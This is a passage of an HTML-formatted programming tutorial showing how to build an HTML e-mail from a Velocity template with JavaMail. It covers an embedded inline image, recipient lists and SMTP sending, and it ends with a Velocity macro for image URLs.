&lt;div class="sourceCode" id="cb6"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb6-1"&gt;&lt;a aria-hidden="true" href="#cb6-1" tabindex="-1"&gt;&lt;/a&gt;          Template template &lt;span class="op"&gt;=&lt;/span&gt; Velocity&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getTemplate&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"Mail.vm"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-2"&gt;&lt;a aria-hidden="true" href="#cb6-2" tabindex="-1"&gt;&lt;/a&gt;          VelocityContext context &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="fu"&gt;VelocityContext&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Then the user defined MailBean is placed in the velocity Context
under the name “MailBean”&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb7"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb7-1"&gt;&lt;a aria-hidden="true" href="#cb7-1" tabindex="-1"&gt;&lt;/a&gt;          context&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;put&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"MailBean"&lt;/span&gt; &lt;span class="op"&gt;,&lt;/span&gt; mailBean&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Along with beans, we can place name value pairs directly in the
velocity context&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb8"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb8-1"&gt;&lt;a aria-hidden="true" href="#cb8-1" tabindex="-1"&gt;&lt;/a&gt;          &lt;span class="bu"&gt;String&lt;/span&gt; host &lt;span class="op"&gt;=&lt;/span&gt;  props&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getProperty&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"hostname"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb8-2"&gt;&lt;a aria-hidden="true" href="#cb8-2" tabindex="-1"&gt;&lt;/a&gt;          context&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;put&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"host"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; host&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb8-3"&gt;&lt;a aria-hidden="true" href="#cb8-3" tabindex="-1"&gt;&lt;/a&gt;          context&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;put&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"imgName"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="st"&gt;"smile.gif"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb8-4"&gt;&lt;a aria-hidden="true" href="#cb8-4" tabindex="-1"&gt;&lt;/a&gt;          context&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;put&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"context"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="st"&gt;"myApp"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;When the context is merged with the template and the results in
placed in a StringWriter Object&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb9"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb9-1"&gt;&lt;a aria-hidden="true" href="#cb9-1" tabindex="-1"&gt;&lt;/a&gt;          &lt;span class="bu"&gt;StringWriter&lt;/span&gt; message &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;StringWriter&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb9-2"&gt;&lt;a aria-hidden="true" href="#cb9-2" tabindex="-1"&gt;&lt;/a&gt;          template&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;merge&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;context&lt;span class="op"&gt;,&lt;/span&gt; message&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;JAVA Mail - E-Mail Creation&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The SMTP Host variable is placed in the System Properties and the
javax.mail.Session is obtained for the given SMTP Host&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb10"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb10-1"&gt;&lt;a aria-hidden="true" href="#cb10-1" tabindex="-1"&gt;&lt;/a&gt;          &lt;span class="bu"&gt;Properties&lt;/span&gt; sysProperties &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="bu"&gt;System&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getProperties&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb10-2"&gt;&lt;a aria-hidden="true" href="#cb10-2" tabindex="-1"&gt;&lt;/a&gt;          sysProperties&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;put&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"mail.smtp.host"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; props&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getProperty&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"smtpHost"&lt;/span&gt;&lt;span class="op"&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb10-3"&gt;&lt;a aria-hidden="true" href="#cb10-3" tabindex="-1"&gt;&lt;/a&gt;          Session session &lt;span class="op"&gt;=&lt;/span&gt; Session&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getInstance&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;sysProperties&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="kw"&gt;null&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Since the e-mail needs to contain text and an image file, create
a MimeMultipart with the subtype declared as “related’ so that the image
being put doesnt get lost if the images are blocked by the recipient&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    MimeMultipart multipart = new MimeMultipart("related");&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;For adding the image to the e-mail&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a body part for storing the image and embedding into the
e-mail&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb12"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb12-1"&gt;&lt;a aria-hidden="true" href="#cb12-1" tabindex="-1"&gt;&lt;/a&gt;          BodyPart imageBodyPart &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="fu"&gt;MimeBodyPart&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Use the FileDataSource to read the image from the Web deployment
folder. Note: &lt;em&gt;Using File.seperator takes care of the Windows/Unix
environment issue&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb13"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb13-1"&gt;&lt;a aria-hidden="true" href="#cb13-1" tabindex="-1"&gt;&lt;/a&gt;          &lt;span class="bu"&gt;StringBuffer&lt;/span&gt; imgPath &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;StringBuffer&lt;/span&gt;&lt;span class="op"&gt;().&lt;/span&gt;&lt;span class="fu"&gt;append&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="bu"&gt;File&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;separator&lt;/span&gt;&lt;span class="op"&gt;).&lt;/span&gt;&lt;span class="fu"&gt;append&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"applications"&lt;/span&gt;&lt;span class="op"&gt;).&lt;/span&gt;&lt;span class="fu"&gt;append&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="bu"&gt;File&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;separator&lt;/span&gt;&lt;span class="op"&gt;).&lt;/span&gt;&lt;span class="fu"&gt;append&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"mailheader.GIF"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Then using the DataHandler object place the image into the BodyPart
created&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb14"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb14-1"&gt;&lt;a aria-hidden="true" href="#cb14-1" tabindex="-1"&gt;&lt;/a&gt;          &lt;span class="bu"&gt;DataSource&lt;/span&gt; fds &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;FileDataSource&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;imgPath&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;toString&lt;/span&gt;&lt;span class="op"&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb14-2"&gt;&lt;a aria-hidden="true" href="#cb14-2" tabindex="-1"&gt;&lt;/a&gt;          imageBodyPart&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setDataHandler&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;DataHandler&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;fds&lt;span class="op"&gt;));&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Set an id for the image body part so that the image can be accessed
anywhere in the mail for embedding&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb15"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb15-1"&gt;&lt;a aria-hidden="true" href="#cb15-1" tabindex="-1"&gt;&lt;/a&gt;          imageBodyPart&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setHeader&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"Content-ID"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt;&lt;span class="st"&gt;"&amp;lt;123&amp;gt;"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Add the Image Body Part into the MimeMultiPart object&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb16"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb16-1"&gt;&lt;a aria-hidden="true" href="#cb16-1" tabindex="-1"&gt;&lt;/a&gt;          multipart&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;addBodyPart&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;imageBodyPart&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Adding the Message body content to the e-mail&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a body part for storing the message content in the
e-mail&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb17"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb17-1"&gt;&lt;a aria-hidden="true" href="#cb17-1" tabindex="-1"&gt;&lt;/a&gt;          BodyPart messageBodyPart &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="fu"&gt;MimeBodyPart&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Combine the StringWriter Object and the image src code using a
StringBuffer&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb18"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb18-1"&gt;&lt;a aria-hidden="true" href="#cb18-1" tabindex="-1"&gt;&lt;/a&gt;          &lt;span class="bu"&gt;StringBuffer&lt;/span&gt; messageBuffer &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;StringBuffer&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb18-2"&gt;&lt;a aria-hidden="true" href="#cb18-2" tabindex="-1"&gt;&lt;/a&gt;          messageBuffer&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;append&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;message&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;toString&lt;/span&gt;&lt;span class="op"&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb18-3"&gt;&lt;a aria-hidden="true" href="#cb18-3" tabindex="-1"&gt;&lt;/a&gt;          messageBuffer&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;append&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"&amp;lt;img src="&lt;/span&gt;cid&lt;span class="op"&gt;:&lt;/span&gt;&lt;span class="dv"&gt;123&lt;/span&gt;\&lt;span class="st"&gt;"&amp;gt;"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Set the Message content type as &lt;em&gt;text/html&lt;/em&gt;, since our
template VM is designed using HTML and add the message body part to the
main MultiMime part&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb19"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb19-1"&gt;&lt;a aria-hidden="true" href="#cb19-1" tabindex="-1"&gt;&lt;/a&gt;          messageBodyPart&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setContent&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;messageBuffer&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;toString&lt;/span&gt;&lt;span class="op"&gt;(),&lt;/span&gt; &lt;span class="st"&gt;"text/html"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb19-2"&gt;&lt;a aria-hidden="true" href="#cb19-2" tabindex="-1"&gt;&lt;/a&gt;          multipart&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;addBodyPart&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;messageBodyPart&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Sending the E-Mail&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a MimeMessage using the javax.mail.Session Object&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb20"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb20-1"&gt;&lt;a aria-hidden="true" href="#cb20-1" tabindex="-1"&gt;&lt;/a&gt;          Message msg &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="fu"&gt;MimeMessage&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;session&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Set the content as the multimime part object created&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb21"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb21-1"&gt;&lt;a aria-hidden="true" href="#cb21-1" tabindex="-1"&gt;&lt;/a&gt;          msg&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setContent&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;multipart&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;The Recipients are added to the e-mail for the recipient types TO,
CC and BCC&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb22"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb22-1"&gt;&lt;a aria-hidden="true" href="#cb22-1" tabindex="-1"&gt;&lt;/a&gt;          msg&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;addRecipients&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Message&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;RecipientType&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;TO&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; InternetAddress&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;parse&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"someone@example.com"&lt;/span&gt;&lt;span class="op"&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb22-2"&gt;&lt;a aria-hidden="true" href="#cb22-2" tabindex="-1"&gt;&lt;/a&gt;          msg&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;addRecipients&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Message&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;RecipientType&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;CC&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt;InternetAddress&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;parse&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"everyone@example.com"&lt;/span&gt;&lt;span class="op"&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb22-3"&gt;&lt;a aria-hidden="true" href="#cb22-3" tabindex="-1"&gt;&lt;/a&gt;          &lt;span class="cf"&gt;if&lt;/span&gt;&lt;span class="op"&gt;((&lt;/span&gt;&lt;span class="kw"&gt;null&lt;/span&gt;&lt;span class="op"&gt;!=&lt;/span&gt;recipientsList&lt;span class="op"&gt;)&amp;amp;&amp;amp;(!&lt;/span&gt;recipientsList&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;isEmpty&lt;/span&gt;&lt;span class="op"&gt;())){&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb22-4"&gt;&lt;a aria-hidden="true" href="#cb22-4" tabindex="-1"&gt;&lt;/a&gt;              &lt;span class="cf"&gt;for&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="dt"&gt;int&lt;/span&gt; i&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="dv"&gt;0&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;i&lt;span class="op"&gt;&amp;lt;&lt;/span&gt;recipientsList&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;size&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;i&lt;span class="op"&gt;++){&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb22-5"&gt;&lt;a aria-hidden="true" href="#cb22-5" tabindex="-1"&gt;&lt;/a&gt;                  msg&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;addRecipients&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Message&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;RecipientType&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;BCC&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt;InternetAddress&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;parse&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;recipientsList&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;get&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;i&lt;span class="op"&gt;)));&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb22-6"&gt;&lt;a aria-hidden="true" href="#cb22-6" tabindex="-1"&gt;&lt;/a&gt;              &lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb22-7"&gt;&lt;a aria-hidden="true" href="#cb22-7" tabindex="-1"&gt;&lt;/a&gt;          &lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;The Subject Text, Sent Date and the From Address are set as
below.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb23"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb23-1"&gt;&lt;a aria-hidden="true" href="#cb23-1" tabindex="-1"&gt;&lt;/a&gt;          msg&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setSubject&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;subject&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb23-2"&gt;&lt;a aria-hidden="true" href="#cb23-2" tabindex="-1"&gt;&lt;/a&gt;          msg&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setSentDate&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;Date&lt;/span&gt;&lt;span class="op"&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb23-3"&gt;&lt;a aria-hidden="true" href="#cb23-3" tabindex="-1"&gt;&lt;/a&gt;          msg&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setFrom&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="fu"&gt;InternetAddress&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"dummy@example.com"&lt;/span&gt;&lt;span class="op"&gt;));&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;The Transport Object is used for creating the connection to the SMTP
host and sending the e-mail. The transporter object below is obtained
using the getTransport method and by giving the parameter as
&lt;em&gt;smtp&lt;/em&gt; as the protocol for the Transport Object&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb24"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb24-1"&gt;&lt;a aria-hidden="true" href="#cb24-1" tabindex="-1"&gt;&lt;/a&gt;          Transport transport &lt;span class="op"&gt;=&lt;/span&gt; session&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getTransport&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"smtp"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Then the Transport is connected using the HOST, UserName and
Password parameters from the properties file&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb25"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb25-1"&gt;&lt;a aria-hidden="true" href="#cb25-1" tabindex="-1"&gt;&lt;/a&gt;          transport&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;connect&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;props&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getProperty&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"connectHost"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb25-2"&gt;&lt;a aria-hidden="true" href="#cb25-2" tabindex="-1"&gt;&lt;/a&gt;          props&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getProperty&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"connectUser"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb25-3"&gt;&lt;a aria-hidden="true" href="#cb25-3" tabindex="-1"&gt;&lt;/a&gt;          props&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getProperty&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"connectPassword"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Then the e-mail is sent using the sendMessage to all the
recipients&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb26"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb26-1"&gt;&lt;a aria-hidden="true" href="#cb26-1" tabindex="-1"&gt;&lt;/a&gt;          transport&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;sendMessage&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;msg&lt;span class="op"&gt;,&lt;/span&gt;msg&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getAllRecipients&lt;/span&gt;&lt;span class="op"&gt;());&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;The transport is closed to mark the end of the connection&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="sourceCode" id="cb27"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb27-1"&gt;&lt;a aria-hidden="true" href="#cb27-1" tabindex="-1"&gt;&lt;/a&gt;          transport&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;close&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id="mail.vm"&gt;Mail.vm&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Image Path Macro&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This macro is used to return the path to be used as SRC by the images
in the HTML. It takes a parameter imgName and returns the string,&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  https://$host/$context/images/$imgName&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;where $host, $context are context variables placed by the JAVA
code&lt;/p&gt;
&lt;p&gt;The macro looks like this&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  #macro( IMGURL $imgName )
      https://$host/$context/images/$imgName
  #end&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Example:&lt;/p&gt;
